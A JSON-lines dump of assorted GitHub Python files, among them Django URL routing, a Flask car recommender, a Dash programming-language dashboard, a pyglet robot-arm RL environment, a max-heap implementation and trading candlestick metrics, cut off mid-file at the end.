+{"seq_id":"13652007586","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom teamrunner.views import main_page,signupView,groupsView,partnersView\n#from teamrunner import account\nurlpatterns = patterns('',\n    # Examples:\n    # url(r'^$', 'teamrunner.views.home', name='home'),\n    # url(r'^blog/', include('blog.urls')),\n\n    url(r'^admin/', include(admin.site.urls)),\n    url(r\"^index/$\", main_page.as_view(),name='index' ),\n    #url(r\"^signin/$\", LoginView.as_view() , name='signin'  ),\n    url(r\"^signin/\", include('account.urls' ),name='signin' ),\n    \n    #url(r'^author-polls/', include('polls.urls', namespace='author-polls', app_name='account')),\n    \n    url(r\"^signup/$\", signupView.as_view() , name='signup'  ),\n   # url(r\"^coach/$\", coachView.as_view() , name='coach'  ),\n    url(r\"^coach/\", include('coach.urls' ),name='coach' ),\n    \n    url(r\"^groups/$\", groupsView.as_view() , name='groups'  ),\n    url(r\"^partners/$\", partnersView.as_view() , name='partners'),\n)\n","repo_name":"OferEl/teamrunner","sub_path":"teamrunner/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6284398869","text":"import numpy as np\nimport csv\nimport pandas as pd\nimport sklearn\n\nfrom sklearn.neighbors import NearestNeighbors\nfrom flask import Flask, render_template, url_for\nfrom forms import SubmitForm\napp = Flask(__name__)\napp.config['SECRET_KEY']='6efa5941e2b4b5a9912c11bfe3cd98d1'\n\n\n\ndef setpost(mpg,cyl,hp,gr,sit):\n    cars=pd.read_csv('mtcars.csv')\n    cars.columns=['car_names','mpg','cyl','disp','hp','drat','wt','qsec','vs','am','gear','carb']\n    cars.head()\n\n    x=cars.iloc[:,[1,2,4,6,10]]\n    x[0:5]\n\n    nbrs=NearestNeighbors(n_neighbors=1).fit(x)\n\n    t=[mpg,cyl,hp,sit,gr]\n\n    result1=nbrs.kneighbors([t])\n    array1=np.asarray(result1)\n    num2=array1[1]\n    num2=num2.astype(int)\n    num2=num2+1\n    return result(num2)\n\n\n@app.route('/', methods=['GET','POST'])\n@app.route('/home', methods=['GET','POST'])\ndef home():\n    form=SubmitForm()\n    if form.validate_on_submit():\n        hp=int(form.horsepower.data)\n        mpg=int(form.mileage.data)\n        sit=float(form.seats.data)\n        cyl=int(form.cylinders.data)\n        gr=int(form.gears.data)\n        \n        return setpost(mpg,cyl,hp,gr,sit)\n    \n    return render_template('home.html', title='Home',form = form)\n\n\n@app.route('/result')\ndef result(num2):\n    num1=num2\n    with open('mtcars.csv','r') as carfile:\n        csv_reader=csv.reader(carfile)\n        line_count=2\n        for row in csv_reader:\n            if line_count==num1:\n                \n                posts=[{'title':row[0],\n                            'horsepower':row[4],\n                            'cylinders':row[2],\n                            'mileage':row[1],\n                            'manual':'Automatic',\n                            'gears':row[10],\n                            'seats':row[6]}]\n\n                        \n                line_count= line_count + 1\n            else:\n                line_count= line_count + 1\n    return render_template('newresult.html',posts=posts)\n\n\nif __name__ == '__main__':\n        app.run(debug=True)\n\n                    \n\n","repo_name":"whammyjammy/Vehicle-Recomendation-System-Using-ML","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25687425361","text":"import abc\n\nfrom menu_sun_integration.presentations.interfaces.abstract_request import AbstractBaseRequestPostAction\n\n\nclass AbstractOrderStatusPutRequest(AbstractBaseRequestPostAction):\n    def __init__(self, order_id: str, seller_order_id: str, seller_id: int, status: str, status_id: int, comments: str):\n        self.seller_order_id = seller_order_id\n        self.seller_id = seller_id\n        self.status = status\n        self.status_id = status_id\n        self.comments = comments\n        self.order_id = order_id\n\n    @abc.abstractmethod\n    def resource(self):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def payload(self):\n        raise NotImplementedError\n\n","repo_name":"pfpacheco/menu-sun-api","sub_path":"menu_sun_integration/presentations/order/abstract_order_status_put_request.py","file_name":"abstract_order_status_put_request.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"751819424","text":"from tkinter import *\n\npage = Tk()\npage.title(\"Nihal\")\n\n\ndef click():\n\tlabel = Label(page, text=\"CLICKED\").pack()\n\n\nlab1 = Label(page, text=\"Typing is permitted!\").pack()\nentry = Entry(page).pack()\nbutton = Button(page, text=\"Here it is!\", command=click, fg=\"red\", bg='#ffb3fe').pack()\nprint(entry)\npage.mainloop()","repo_name":"nihal-mishra/Python","sub_path":"Learning/tkinter/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21001448092","text":"import os\nimport pickle\n\ndef add_genes(list_path, gene_set):\n    try:\n        with open(list_path) as list_file:\n            for line in list_file:\n                gene_set.add(line.strip())\n    except FileNotFoundError as e:\n        print(e)\n\ndef build_list(gwas_dir, res_dir, out_dir):\n    gene_set = set()\n    studies = os.listdir(gwas_dir)\n    for study in studies:\n        gwas_path = os.path.join(gwas_dir, study)\n        gwas_name = study.split(\".\")[0]\n        list_path = os.path.join(res_dir, f\"{gwas_name}_sig\", \"genes.txt\")\n        add_genes(list_path, gene_set)\n\n    gene_list = list(gene_set)\n    print(len(gene_list)) ####\n    with open(os.path.join(out_dir, \"list_429_sig.pickle\"), \"wb\") as out_file:\n        pickle.dump(gene_list, out_file) \n            \nif __name__ == '__main__':\n    # Kellis 429\n    data_path_kellis = \"/agusevlab/awang/sc_kellis\"\n    res_dir = \"/agusevlab/awang/ase_finemap_results/sc_results/kellis_429/colocalization\"\n    gwas_dir = \"/agusevlab/awang/gwas_data\"\n\n    build_list(gwas_dir, res_dir, data_path_kellis)","repo_name":"austintwang/sc_scripts","sub_path":"gene_list_kellis_sig.py","file_name":"gene_list_kellis_sig.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"45459172886","text":"import unittest\r\nimport glob\r\nimport weio\r\nimport os\r\nimport numpy as np\r\ntry:\r\n    from .helpers_for_test import MyDir, reading_test \r\nexcept:\r\n    from helpers_for_test import MyDir, reading_test \r\n\r\nclass Test(unittest.TestCase):\r\n    def test_000_debug(self):\r\n        #fileformat,F = weio.detectFormat('_tests/FASTIn_ED_bld.dat')\r\n        #F = weio.CSVFile('_tests/CSVComma_Fail.csv')\r\n        #F = weio.FASTInFile('../_tests/FASTIn_ExtPtfm_SubSef.dat')\r\n        #F = weio.FASTLinFile('../_tests/FASTOutLin_New.lin')\r\n        #F = weio.TecplotFile('example_files/TecplotASCII_1.dat')\r\n        #dfs=F.toDataFrame()\r\n        #print(F.toDataFrame())\r\n        #print(F)\r\n        #return\r\n        #print(fileformat)\r\n        pass\r\n\r\n    def test_001_read_all(self):\r\n        DEBUG=True\r\n        nError=0\r\n        for f in glob.glob(os.path.join(MyDir,'*.*')):\r\n            if os.path.splitext(f)[-1] in ['.py','.pyc'] or f.find('_TMP')>0:\r\n                continue\r\n            try:\r\n                fileformat=None\r\n                F=None\r\n                fileformat,F = weio.detectFormat(f)\r\n                #fr=weio.read(f,fileformat)\r\n                dfs = F.toDataFrame()\r\n                ## \r\n                if not isinstance(dfs,dict):\r\n                    if dfs is None:\r\n                        n = 0\r\n                    elif len(dfs)==0:\r\n                        n = 0\r\n                    else:\r\n                        n = 1\r\n                else:\r\n                    n=len(dfs)\r\n                ##print(fr.toDataFrame())\r\n                s=fileformat.name\r\n                s=s.replace('file','')[:20]\r\n                if DEBUG:\r\n                    print('[ OK ] {:30s}\\t{:20s}\\t{}'.format(os.path.basename(f)[:30],s,n))\r\n            except weio.FormatNotDetectedError:\r\n                nError += 1\r\n                if DEBUG:\r\n                    print('[FAIL] {:30s}\\tFormat not detected'.format(os.path.basename(f)[:30]))\r\n            except:\r\n                nError += 1\r\n                if DEBUG:\r\n                    print('[FAIL] {:30s}\\tException occurred'.format(os.path.basename(f)[:30]))\r\n                raise \r\n\r\n        if nError>0:\r\n            raise Exception('Some tests failed')\r\n\r\n\r\nif __name__ == '__main__':\r\n    #Test().test_000_debug()\r\n    unittest.main()\r\n","repo_name":"ebranlard/weio","sub_path":"weio/tests/test_all.py","file_name":"test_all.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"77"}
+{"seq_id":"29432335809","text":"def es_primo(numero):\n    div = []\n    for i in range(1, numero + 1):\n        if numero % i == 0:\n            div.append(i)\n\n    if len(div) == 2:\n        if (div[0] == 1 and div[1] == numero):\n            return True\n    return False","repo_name":"pabloschwarzenberg/grader","sub_path":"tema2_p1/tema2_p1_67c03ca2688147947fc14cbed5fa464a.py","file_name":"tema2_p1_67c03ca2688147947fc14cbed5fa464a.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25477094189","text":"#import modul\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output\nimport plotly.graph_objects as go\nimport pandas as pd\nimport base64\n\n#menambahkan gambar\nimage_filename = 'asset/kd.png'\nencoded_image = base64.b64encode(open(image_filename, 'rb').read())\n\n#data\nlabel = [\"github\", \"stackoverflow\", \"pypl\", \"tiobe\"]\nindeks = [0, 1 ,2 ,3]\ngithub = pd.read_csv('data/github.csv')\ngithub = github.filter(['Language', 'Percentage', 'Source'])\nstackoverflow = pd.read_csv('data/stackoverflow.csv')\npypl = pd.read_csv('data/pypl.csv')\npypl = pypl.filter(['Language', 'Share', 'Source'])\ntiobe = pd.read_csv('data/tiobe.csv')\ntiobe = tiobe.filter(['Language', 'Rating', 'Source'])\n\n#inisialisasi dash\napp = dash.Dash(__name__, title=\"Techtalk\", external_stylesheets=[dbc.themes.BOOTSTRAP])\nserver = app.server\n\n#layout\napp.layout = html.Div([\n    dbc.Row([\n        dbc.Col(html.H2(\"Dashboard Kerabat Data\", style={'margin-top':25, 'margin-left':50}), md=9),\n        dbc.Col(\n            html.Img(\n            src='data:image/png;base64,{}'.format(encoded_image.decode()), style={'margin-top':20}\n            ),  md =3\n        )\n    ]),\n    html.Br(),\n    dbc.Row([\n        dbc.Col(dbc.Card([\n            html.H2(\"Linux\", className='card-title'),\n            html.P(\"Most Loved Platform\", className='card-text')\n        ],\n        body=True,\n        color='light')),\n\n        dbc.Col(dbc.Card([\n            html.H2(\"Perl\", className='card-title'),\n            html.P(\"Highest Salaries Worldwide\", className='card-text')\n        ],\n        body=True,\n        color='dark',\n        inverse=True)),\n        \n        dbc.Col(dbc.Card([\n            html.H2(\"Redis\", className='card-title'),\n            html.P(\"Most Loved Databases\", className='card-text')\n        ],\n        body=True,\n        color='primary',\n        inverse=True))\n    ]),\n    dbc.Form(\n            dbc.FormGroup(\n            [\n                dbc.Label(\"Dropdown\", html_for=\"dropdown\", style={'margin-left':60, 'margin-top':20}),\n                html.Br(),\n                dcc.Dropdown(\n                    id=\"dropdown\",\n                    options=[{\"label\": label[k], \"value\": label[k]} for k in indeks],\n                    value = \"pypl\",\n                    style={'height': '30px', 'width': '400px','margin-left':30, 'margin-top':20}\n                ),\n            ]\n        )\n    ),\n    html.H1(id=\"judul\", style={'text-align':'center'}),\n    dcc.Graph(id=\"grafik_hbar\", figure={})\n])\n\n#the callback\n@app.callback(\n    [Output(component_id=\"judul\", component_property=\"children\"),\n     Output(component_id='grafik_hbar', component_property='figure')],\n    [Input(component_id='dropdown', component_property='value')]\n)\ndef update_figures(dropdown):\n    if dropdown == \"github\":\n        df1 = github\n        judul = df1.Source[0]\n    elif dropdown == \"stackoverflow\":\n        df1 = stackoverflow\n        judul = df1.Source[0]\n    elif dropdown == \"pypl\":\n        df1 = pypl \n        judul = df1.Source[0]\n    else:\n        df1 = tiobe\n        judul = df1.Source[0]\n\n    fig = go.Figure(go.Bar(\n            x=df1.iloc[0:,1],\n            y=df1.iloc[0:,0],\n            orientation='h',\n            text = df1.iloc[0:,1],\n            textposition='outside',),\n          go.Layout(\n            yaxis=dict(\n            autorange='reversed'\n            )\n        ))\n    fig.update_layout(title=judul, title_x=0.5)\n    fig.update_xaxes(title_text=df1.columns[1])\n    fig.update_yaxes(title_text=df1.columns[0])\n    return \"Sumber: {}\".format(dropdown), fig\n\n\nif __name__ == '__main__':\n    app.run_server(debug=True, port=4050)\n","repo_name":"armdhn23/dash-python","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16778446687","text":"import imp\nimport numpy as np\nimport pyglet\nfrom pyglet import image\nimport platform\n\nclass ArmEnv(object):\n    viewer = None\n    dt = .1    # refresh rate\n    action_bound = [-1, 1]\n    goal = {'x': 100., 'y': 100., 'l': 40}\n    state_dim = 9\n    action_dim = 2\n    dampingK = 0.5\n    goal_pos_radius = 200.\n\n    def __init__(self):\n        self.arm_info = np.zeros(\n            2, dtype=[('l', np.float32), ('r', np.float32)])\n        self.arm_info['l'] = 100        # 2 arms length\n        self.arm_info['r'] = np.pi/6    # 2 angles information\n        self.on_goal = 0\n        self.prev_finger_pos = np.array([0, 0])\n\n    def step(self, action):\n        done = False\n        action = np.clip(action, *self.action_bound)\n        self.arm_info['r'] += action * self.dt\n        self.arm_info['r'] %= np.pi * 2    # normalize\n\n        (a1l, a2l) = self.arm_info['l']  # radius, arm length\n        (a1r, a2r) = self.arm_info['r']  # radian, angle\n        a1xy = np.array([200., 200.])    # a1 start (x0, y0)\n        a1xy_ = np.array([np.cos(a1r), np.sin(a1r)]) * a1l + a1xy  # a1 end and a2 start (x1, y1)\n        finger = np.array([np.cos(a1r + a2r), np.sin(a1r + a2r)]) * a2l + a1xy_  # a2 end (x2, y2)\n        # normalize features\n        dist1 = [(self.goal['x'] - a1xy_[0]) / 400, (self.goal['y'] - a1xy_[1]) / 400]\n        dist2 = [(self.goal['x'] - finger[0]) / 400, (self.goal['y'] - finger[1]) / 400]\n        r = -np.sqrt(dist2[0]**2+dist2[1]**2)\n\n        # done and reward\n        if self.goal['x'] - self.goal['l']/2 < finger[0] < self.goal['x'] + self.goal['l']/2:\n            if self.goal['y'] - self.goal['l']/2 < finger[1] < self.goal['y'] + self.goal['l']/2:\n                r += 1. #- dist/self.goal['l']\n                self.on_goal += 1\n                if self.on_goal > 50:\n                    done = True\n        else:\n            self.on_goal = 0\n\n        self.prev_finger_pos = finger\n        # state\n        s = np.concatenate((a1xy_/200, finger/200, dist1 + dist2, [1. if self.on_goal else 0.]))\n        return s, r, done\n\n    def reset(self):        \n        self.goal['x'] = np.random.rand()*400.\n        self.goal['y'] = np.random.rand()*400.\n        self.arm_info['r'] = 2 * np.pi * np.random.rand(2)\n        self.on_goal = 0\n        (a1l, a2l) = self.arm_info['l']  # radius, arm length\n        (a1r, a2r) = self.arm_info['r']  # radian, angle\n        a1xy = np.array([200., 200.])  # a1 start (x0, y0)\n        a1xy_ = np.array([np.cos(a1r), np.sin(a1r)]) * a1l + a1xy  # a1 end and a2 start (x1, y1)\n        finger = np.array([np.cos(a1r + a2r), np.sin(a1r + a2r)]) * a2l + a1xy_  # a2 end (x2, y2)\n        # normalize features\n        dist1 = [(self.goal['x'] - a1xy_[0])/400, (self.goal['y'] - a1xy_[1])/400]\n        dist2 = [(self.goal['x'] - finger[0])/400, (self.goal['y'] - finger[1])/400]\n        # state\n        s = np.concatenate((a1xy_/200, finger/200, dist1 + dist2, [1. if self.on_goal else 0.]))\n        return s\n\n    def render(self, follow_mouse=True):\n        if self.viewer is None:\n            self.viewer = Viewer(self.arm_info, self.goal, follow_mouse=follow_mouse)\n        self.viewer.render()\n\n    def sample_action(self):\n        return np.random.rand(2)-0.5    # two radians\n\n\nclass Viewer(pyglet.window.Window):\n    bar_thc = 5\n\n    def __init__(self, arm_info, goal, follow_mouse=True):\n        # self.glconfig = pyglet.gl.Config(sample_buffers=1, samples=8) # Windows\n         # Linux\n\n        vsync=False # To speed up training  \n        if platform.system() == \"Darwin\":\n            super(Viewer, self).__init__(width=400, height=400)\n        elif platform.system() == \"Linux\":\n            self.glconfig = pyglet.gl.Config()\n            super(Viewer, self).__init__(config=self.glconfig, width=400, height=400, resizable=False, caption='AIM', vsync=vsync, style=pyglet.window.Window.WINDOW_STYLE_BORDERLESS)\n        elif platform.system() == \"Windows\":\n            self.glconfig = pyglet.gl.Config(sample_buffers=1, samples=8)\n            super(Viewer, self).__init__(config=self.glconfig, width=400, height=400, resizable=False, caption='AIM', vsync=vsync, style=pyglet.window.Window.WINDOW_STYLE_BORDERLESS)\n        else:\n            super(Viewer, self).__init__(width=400, height=400)\n        \n\n        pyglet.gl.glClearColor(0, 0, 0, 0)\n        self.arm_info = arm_info\n        self.goal_info = goal\n        self.center_coord = np.array([200, 200])\n\n        self.batch = pyglet.graphics.Batch()    # display whole batch at once\n        self.goal = self.batch.add(\n            4, pyglet.gl.GL_QUADS, None,    # 4 corners\n            ('v2f', [goal['x'] - goal['l'] / 2, goal['y'] - goal['l'] / 2, # location\n                     goal['x'] - goal['l'] / 2, goal['y'] + goal['l'] / 2,\n                     goal['x'] + goal['l'] / 2, goal['y'] + goal['l'] / 2,\n                     goal['x'] + goal['l'] / 2, goal['y'] - goal['l'] / 2]),\n            ('c3B', (96, 96, 96) * 4))    # color\n\n        self.arm1 = self.batch.add(\n            4, pyglet.gl.GL_QUADS, None,\n            ('v2f', [250, 250,                # location\n                     250, 300,\n                     260, 300,\n                     260, 250]),\n            ('c3B', (255, 215, 0) * 4,),    # color\n        )\n        \n        self.arm2 = self.batch.add(\n            4, pyglet.gl.GL_QUADS, None,\n            ('v2f', [100, 150,              # location\n                     100, 160,\n                     200, 160,\n                     200, 150]),\n            ('c3B', (255, 215, 0) * 4,))    \n\n        self.follow_mouse = follow_mouse\n\n    def render(self):\n        self._update_arm()\n        self.switch_to()\n        self.dispatch_events()\n        self.dispatch_event('on_draw')\n        self.flip()\n\n    def on_draw(self):\n        self.clear()\n        self.batch.draw()\n\n    def _update_arm(self):\n        # update goal\n        self.goal.vertices = (\n            self.goal_info['x'] - self.goal_info['l']/2, self.goal_info['y'] - self.goal_info['l']/2,\n            self.goal_info['x'] + self.goal_info['l']/2, self.goal_info['y'] - self.goal_info['l']/2,\n            self.goal_info['x'] + self.goal_info['l']/2, self.goal_info['y'] + self.goal_info['l']/2,\n            self.goal_info['x'] - self.goal_info['l']/2, self.goal_info['y'] + self.goal_info['l']/2)\n\n        # update arm\n        (a1l, a2l) = self.arm_info['l']     # radius, arm length\n        (a1r, a2r) = self.arm_info['r']     # radian, angle\n        a1xy = self.center_coord            # a1 start (x0, y0)\n        a1xy_ = np.array([np.cos(a1r), np.sin(a1r)]) * a1l + a1xy   # a1 end and a2 start (x1, y1)\n        a2xy_ = np.array([np.cos(a1r+a2r), np.sin(a1r+a2r)]) * a2l + a1xy_  # a2 end (x2, y2)\n\n        a1tr, a2tr = np.pi / 2 - self.arm_info['r'][0], np.pi / 2 - self.arm_info['r'].sum()\n        xy01 = a1xy + np.array([-np.cos(a1tr), np.sin(a1tr)]) * self.bar_thc\n        xy02 = a1xy + np.array([np.cos(a1tr), -np.sin(a1tr)]) * self.bar_thc\n        xy11 = a1xy_ + np.array([np.cos(a1tr), -np.sin(a1tr)]) * self.bar_thc\n        xy12 = a1xy_ + np.array([-np.cos(a1tr), np.sin(a1tr)]) * self.bar_thc\n\n        xy11_ = a1xy_ + np.array([np.cos(a2tr), -np.sin(a2tr)]) * self.bar_thc\n        xy12_ = a1xy_ + np.array([-np.cos(a2tr), np.sin(a2tr)]) * self.bar_thc\n        xy21 = a2xy_ + np.array([-np.cos(a2tr), np.sin(a2tr)]) * self.bar_thc\n        xy22 = a2xy_ + np.array([np.cos(a2tr), -np.sin(a2tr)]) * self.bar_thc\n\n        self.arm1.vertices = np.concatenate((xy01, xy02, xy11, xy12))\n        self.arm2.vertices = np.concatenate((xy11_, xy12_, xy21, xy22))\n\n    # convert the mouse coordinate to goal's coordinate\n    def on_mouse_motion(self, x, y, dx, dy):\n        if self.follow_mouse:\n            self.goal_info['x'] = x\n            self.goal_info['y'] = y\n\n\nif __name__ == '__main__':\n    env = ArmEnv()\n    while True:\n        env.render()\n        env.step(env.sample_action())\n","repo_name":"oldbright22/ML_playground_tester_DDGP","sub_path":"AIM-playground-tester - DDGP/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":7879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"3361162468","text":"from nose.tools import assert_equal\n\n\nclass MaxHeap(object):\n\n    def __init__(self, data):\n        \"\"\"\n        build max heap, O(n)\n        :param data:\n        \"\"\"\n        self.array = data\n        self._build_max_heap()\n\n    def _build_max_heap(self):\n        for i in range(len(self.array) // 2 - 1, -1, -1):\n            self._max_heapify(index=i, array_length=len(self.array))\n\n    def _max_heapify(self, index, array_length):\n        \"\"\"\n        similar to bubble down. Correct a single violation of the heap property in a subtree\n        find maximum children. If greater than current, move down current, otherwise stop\n        or find the larges of three and compare with current\n        :param index: index to start heapify (bubble down)\n        :param stop_ind: index to stop heapify (the index of right most leaf node)\n        :return:\n        \"\"\"\n        left_child_index = index * 2 + 1\n        right_child_index = index * 2 + 2\n        largest_index = index\n        if left_child_index < array_length and self.array[index] < self.array[left_child_index]:\n            largest_index = left_child_index\n        if right_child_index < array_length and self.array[largest_index] < self.array[right_child_index]:\n            largest_index = right_child_index\n        if largest_index != index:\n            self.array[index], self.array[largest_index] = self.array[largest_index], self.array[index]\n            self._max_heapify(index=largest_index, array_length=array_length)\n\n    def insert(self, key):\n        if key is None:\n            raise TypeError(\"illegal argument\")\n        self.array.append(key)\n        self._bubble_up(len(self.array) - 1);\n\n    def _bubble_up(self, index):\n        if index == 0:\n            return\n        parent_index = (index - 1) // 2\n        if self.array[parent_index] < self.array[index]:\n            self.array[index], self.array[parent_index] = self.array[parent_index], self.array[index]\n            self._bubble_up(parent_index)\n\n    def extract_max(self):\n        if not self.array:\n            return None\n        if len(self.array) == 1:\n            return self.array.pop(0)\n        maximum = self.array[0]\n        self.array[0] = self.array[-1]\n        self.array.pop(-1)\n        self._max_heapify(index=0, array_length=len(self.array))\n        return maximum\n\n    def peek_max(self):\n        return self.array[0] if self.array else None\n\n    def heap_sort(self):\n        \"\"\"\n        minheap---> descending order\n        maxheap---> ascending order\n        :return:\n        \"\"\"\n        unfinished_size = len(self.array)\n        while unfinished_size != 0:\n            self.array[0], self.array[unfinished_size - 1] = self.array[unfinished_size - 1], self.array[0]\n            unfinished_size -= 1\n            self._max_heapify(index=0, array_length=unfinished_size)\n\n\nclass TestMaxHeap(object):\n\n    def test_max_heap(self):\n        heap = MaxHeap([])\n        assert_equal(heap.peek_max(), None)\n        assert_equal(heap.extract_max(), None)\n        heap.insert(20)\n        assert_equal(heap.peek_max(), 20)\n        heap.insert(5)\n        assert_equal(heap.peek_max(), 20)\n        heap.insert(15)\n        heap.insert(22)\n        heap.insert(40)\n        heap.insert(5)\n        assert_equal(heap.peek_max(), 40)\n        heap.insert(41)\n        assert_equal(heap.peek_max(), 41)\n        assert_equal(heap.extract_max(), 41)\n        assert_equal(heap.peek_max(), 40)\n        print('Success: test_max_heap')\n        print(heap.array)\n\n    def test_max_heap2(self):\n        heap = MaxHeap([11, 54, 3, 8, 6, 27, 18, 20])\n        print(heap.array)\n        heap.heap_sort()\n        print(heap.array)\n\n\ndef main():\n    test = TestMaxHeap()\n    test.test_max_heap2()\n\n\nif __name__ == '__main__':\n    main()","repo_name":"StephenGuanqi/python-coding-challenges","sub_path":"heap/max_heap.py","file_name":"max_heap.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24459120182","text":"from .base import Metric, Candle\nfrom .generic import *\n\nimport numpy as np\n\n\nclass CandleBar:\n    \"\"\"Container for candlesticks of a given length.\n\n    Candle dependent metrics can be attached to a CandleBuffer instance. These\n    metrics will then be pinged everytime a new candle is added to the buffer.\n    Metrics must implement a ping() function which retrieves the newest candle\n    from the buffer and update themselves accordingly.\n\n    Args:\n        period (int): Length of each candlestick of this collection.\n        maxsize (int): Maximum number of historic candles to keep around.\n        auto_prune (int): Flag for auto-removal of histoic candles.\n\n    Attributes:\n        period (int): Length in seconds of each candlestick.\n        _bars (list): List of all the Candle objects.\n        _metrics (list): Metrics that are attached to the CandleBar instance.\n        _auto_prune (bool): Flag for auto-removal of historic candles.\n        _maxsize (int): Maximum number of historic candles to keep around.\n            Ignored if auto_prune is False.\n\n    Note:\n        New changes for automatic adding of empty candles might decrease\n        stability of some candlemetrics\n    \"\"\"\n\n    def __init__(self, period, auto_prune=False, maxsize=500):\n        self.period = period\n        self._bars = []\n        self._metrics = []\n        self._auto_prune = auto_prune\n        self._maxsize = maxsize\n        self.last_timestamp = None\n\n    def pushTick(self, price, timestamp, volume=0, action=0):\n        \"\"\"Provides public interface for accepting ticks.\"\"\"\n\n        self.last_timestamp = timestamp\n\n        # initialise the candle collection\n        if self.last_bar is None:\n            self._pushInitCandle(price, timestamp, volume, action)\n            return\n\n        # if tick arrived before next bar, update current candle\n        if self._is_updated(timestamp):\n            self.last_low = min(self.last_low, price)\n            self.last_high = max(self.last_high, price)\n            self.last_close = price\n            self.last_volume += volume\n            self.last_netvol += volume * action\n\n        # if no tick arrived in between, append previous empty candles\n        else:\n            while not self._is_updated(timestamp - self.period):\n                self._pushEmptyCandle(\n                    self.last_close, self.last_bar_timestamp + self.period\n                )\n            self._pushInitCandle(price, timestamp, volume, action)\n\n        # No one uses it yet so removed for reducing overhead\n        # self._broadcastTick(price, timestamp, volume, action)\n        # if self._auto_prune:\n        #    self.prune(self._maxsize)\n\n    def pushCandle(self, o, c, h, l, t, v, nv):\n        \"\"\"Provides public interface for accepting aggregated candles.\"\"\"\n        self._pushFullCandle(o, c, h, l, t, v, nv)\n\n    def ping(self, timestamp):\n        if self.last_bar is None:\n            return\n        while not self._is_updated(timestamp - self.period):\n            self._pushEmptyCandle(\n                self.last_close, self.last_bar_timestamp + self.period\n            )\n\n    def attach(self, metric):\n        \"\"\"Allow a candlemetric to subscribe for updates of candles.\"\"\"\n        self._metrics.append(metric)\n\n    def prune(self, size):\n        try:\n            self._bars = self._bars[-size:]\n        except IndexError:\n            raise (\"Empty CandleBar cannot be pruned\")\n\n    def open_prices(self, num_candles):\n        return [x.open for x in self[-num_candles:]]\n\n    def close_prices(self, num_candles):\n        return [x.close for x in self[-num_candles:]]\n\n    def _is_updated(self, timestamp):\n        return timestamp < self.last_bar_timestamp + self.period\n\n    def _pushFullCandle(self, o, c, h, l, t, v, nv):\n        t = t - t % self.period\n        self._bars.append(Candle(o, c, h, l, t, v, nv))\n        self._broadcastCandle()\n\n    def _pushInitCandle(self, price, timestamp, volume, action):\n        round_ts = timestamp - timestamp % self.period\n        self._bars.append(\n            Candle(price, price, price, price, round_ts, volume, volume * action)\n        )\n        self._broadcastCandle()\n\n    def _pushEmptyCandle(self, price, timestamp):\n        round_ts = timestamp - timestamp % self.period\n        self._bars.append(Candle(price, price, price, price, round_ts, 0, 0))\n        self._broadcastCandle()\n\n    def _broadcastCandle(self):\n        for metric in self._metrics:\n            try:\n                metric.onCandle()\n            except NotImplementedError:\n                pass\n\n    def _broadcastTick(self, price, ts, volume, action):\n        for metric in self._metrics:\n            try:\n                metric.onTick(price, ts, volume, action)\n            except NotImplementedError:\n                pass\n\n    # Sequence overloads\n    def __len__(self,):\n        return len(self._bars)\n\n    def __getitem__(self, item):\n        return self._bars[item]\n\n    # Getters\n    @property\n    def last_bar(self):\n        try:\n            return self._bars[-1]\n        except IndexError:\n            return None\n\n    @property\n    def last_open(self):\n        return self.last_bar.open\n\n    @property\n    def last_close(self):\n        return self.last_bar.close\n\n    @property\n    def last_high(self):\n        return self.last_bar.high\n\n    @property\n    def last_low(self):\n        return self.last_bar.low\n\n    @property\n    def last_bar_timestamp(self):\n        return self.last_bar.timestamp\n\n    @property\n    def last_volume(self):\n        return self.last_bar.volume\n\n    @property\n    def last_netvol(self):\n        return self.last_bar.netvol\n\n    # Setters\n    @last_open.setter\n    def last_open(self, value):\n        self.last_bar.open = value\n\n    @last_close.setter\n    def last_close(self, value):\n        self.last_bar.close = value\n\n    @last_high.setter\n    def last_high(self, value):\n        self.last_bar.high = value\n\n    @last_low.setter\n    def last_low(self, value):\n        self.last_bar.low = value\n\n    @last_volume.setter\n    def last_volume(self, value):\n        self.last_bar.volume = value\n\n    @last_netvol.setter\n    def last_netvol(self, value):\n        self._bars[-1].netvol = value\n\n\nclass CandleMetric(Metric):\n    \"\"\"Base class for candle dependent metrics.\n\n    Metrics which are derived from an underlying candlestick chart should\n    inherit from this class. Implementation of CandleMetric must call the parent\n    constructor and pass an instance of CandleBar in their own constructors.\n\n    Implementation class should also at least implement one of:\n        - onCandle()\n        - onTick(price, timestamp, volume, action)\n    such that the metrics can properly subscribe to updates from the CandleBar.\n\n    Example:\n        def onCandle(self):\n            pass\n\n        def onTick(self, price, ts, volume, action):\n            pass\n    \"\"\"\n\n    def __init__(self, candle):\n        self.candle = candle\n        self.value = 0\n        candle.attach(self)\n\n\nclass SMA(CandleMetric):\n    def __init__(self, candle, lookback, use_open=True):\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n\n    def onCandle(self):\n        if len(self.candle) < 